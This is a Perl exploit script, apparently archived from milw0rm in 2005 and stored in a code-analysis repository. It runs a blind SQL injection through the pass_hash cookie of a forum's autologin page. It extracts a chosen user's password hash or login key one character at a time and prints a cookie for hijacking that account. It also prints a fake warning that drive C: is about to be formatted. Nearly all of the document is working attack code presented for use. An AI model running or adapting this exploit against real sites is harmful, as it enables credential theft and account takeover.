lilbool/vuln-code-analysis
0
1#!/usr/bin/perl -w
2##################################################################
3# This one actually works :) Just paste the outputted cookie into
4# your request header using livehttpheaders or something and you
5# will probably be logged in as that user. No need to decrypt it!
6# Exploit coded by "Tony Little Lately" and "Petey Beege"
7##################################################################
8
9use LWP::UserAgent;
10
11 $ua = new LWP::UserAgent;
12 $ua->agent("Mosiac 1.0" . $ua->agent);
13
14if (!$ARGV[0]) {$ARGV[0] = '';}
15if (!$ARGV[3]) {$ARGV[3] = '';}
16
17my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
18my $user = $ARGV[1]; # userid to jack
19my $iver = $ARGV[2]; # version 1 or 2
20my $cpre = $ARGV[3]; # cookie prefix
21my $dbug = $ARGV[4]; # debug?
22
23if (!$ARGV[2])
24{
25 print "The type of the file system is NTFS.\n\n";
26 print "WARNING, ALL DATA ON NON-REMOVABLE DISK\n";
27 print "DRIVE C: WILL BE LOST!\n";
28 print "Proceed with Format (Y/N)?\n";
29 exit;
30}
31
32my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
33
34my $outputs = '';
35
36for( $i=1; $i < 33; $i++ )
37{
38 for( $j=0; $j < 16; $j++ )
39 {
40 my $current = $charset[$j];
41 my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
42"99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
43 my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
44 my $res = $ua->get($path, @cookie);
45
46 # If we get a valid sql request then this
47 # does not appear anywhere in the sources
48 $pattern = '<title>(.*)Log In(.*)</title>';
49
50 $_ = $res->content;
51
52 if ($dbug) { print };
53
54 if ( !(/$pattern/) )
55 {
56 $outputs .= $current;
57 print "$current\n";
58 last;
59 }
60
61 }
62 if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; }
63}
64print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs;
65exit;
66
67# milw0rm.com [2005-05-26]